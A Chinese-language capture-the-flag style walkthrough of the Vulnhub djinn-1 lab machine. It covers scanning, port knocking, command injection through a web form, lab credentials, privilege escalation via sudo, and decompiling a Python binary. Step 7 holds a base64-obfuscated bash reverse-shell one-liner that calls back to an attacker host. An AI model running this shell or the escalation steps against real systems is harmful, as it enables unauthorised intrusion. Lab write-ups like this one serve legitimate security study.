前言
- Vulnhub刷题简单记录
djinn-1开始
1、可以用两种方法确认靶场的存在,扫ip
1 | netdiscover -i eth0 -r 192.168.56.0/24 |
2、扫目标端口开发情况
1 | nmap -p- -sV -sC 192.168.56.108 -oA R |
3、发现1337端口需要通关一个游戏才能获得hint,所以写了个脚本,跑1001次获得提示
1 | # coding:utf-8 |
接着我们就获得了ssh端口的暗语,之前ssh端口是扫不出来的,现在用knock打开ssh端口
1 | knock 192.168.56.111 1356 6784 3409 |
4、因为开启了21端口,并且nmap扫出用户ftp,无密码,我们连接获取了三个文本将其下载查看
5、这里给出了一些账号和密码,因为我们玩游戏已经打开了22端口,之后可以尝试登陆
6、接着看看7331端口是个网页,我们扫一下目录,在wish目录中发现命令执行
1 | http://192.168.56.111:7331/wish |
7、通过burp中fuzz发现管道符没过滤,可以直接反弹shell利用base64转换
1 | echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC41Ni4xLzEyMzQgMD4mMScK"|base64 -d|bash |
8、接着分析app.py的内容,有一个/home/nitish/.dev/creds.txt目录,其中有我们想要的账号和密码,发现有一个genie可以执行sam的权限
1 | nitish:p4ssw0rdStr3r0n9 |
9、用man查看genie的使用方法,发现有-cmd可以进入bash所以直接换用户,接着又发现无需密码可以执行root权限/root/lago
1 | man genie |
10、可以在/home/sam中发现.pyc是python2.7写的,我们试着反编译
1 | file .pyc |
这里要用到一个工具uncompyle6来进行反编译,这里说一些安装的坑
1 | pip install uncompyle6 |
如果遇到报错的话,可能是你python3.9版本过高,需要调一下,加一个3.9,不然无法执行
1 | linux中就改这个 |
接着将我们的.pyc反编译成1.py
1 | uncompyle6 -o 1.py .pyc |
接着发现这个源代码就是可以执行root权限的那个lago的源码,我们仔细看看,我只截取重要的
1 |
|
发现如果我们输入num 的话就可以执行/bin/sh,这就拿到root权限了(考点就是反编译)
1 | sudo -u root /root/lago #进入猜数字 |
结果
也可以看到1337的程序是xinetd,可以再cat /opt/1337/app.py这个目录中查看到1337端口的对应计算的代码获取
1 | netstat -lntp |
我的个人博客
孤桜懶契:http://gylq.gitee.io